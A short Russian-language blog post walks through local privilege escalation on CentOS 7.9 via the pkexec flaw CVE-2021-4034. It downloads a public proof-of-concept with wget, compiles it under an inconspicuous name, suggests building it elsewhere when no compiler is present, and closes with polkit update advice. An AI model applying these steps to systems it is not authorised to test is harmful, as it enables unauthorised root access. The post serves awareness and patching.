Периодически проверяя свою систему свеженьким linPEAS натыкался на упоминание об одной уязвимости с кодом CVE-2021-4034, позволяющей организовать выполнение кода в контексте рута при помощи /usr/bin/pkexec, имеющего suid бит =) Классика.
И вот решил покзаать, среди прочего, как можно быстро использовать эту возможность. Чисто в ознакомительных целях, разумеется.
Итак, имеем CentOS 7.9 “из коробки”. Единственное требование – установленный компилятор “gcc”, но если админ собирал какие-то модули прямо на серваке, то 99% там уже будет установлено всё, что вам нужно.
Исходный код эксплойта уже есть много где, достаточно погуглить CVE-шку и ключевое слово “PoC” (Proof of Concept). Я же нашёл вот ссыль: https://raw.githubusercontent.com/arthepsy/CVE-2021-4034/main/cve-2021-4034-poc.c
Качаем любимым способом:
$ wget https://raw.githubusercontent.com/arthepsy/CVE-2021-4034/main/cve-2021-4034-poc.c
Компилируем исходник во что-нибудь с непримечательным именем. Я компильну так:
$ gcc cve-2021-4034-poc.c -o litladmin_exploit
и файл появится в текущем каталоге с исполняемым флагом. Кстати, в отсутствии компилятора всегда можно собрать файл на другом серваке и просто закачать его туда.
После запуска файла увидим изменение контекста и … у нас права рута. Та-дамс!
Кстати, можем не получать интерактивный шелл, а просто выполнить некоторые команды от имени рута. Достаточно немного поменять шелл-код в исходнике:
Как защититься?
Обновляем систему в общем (yum update -y) и polkit в частности (yum install -y polkit).
Comments: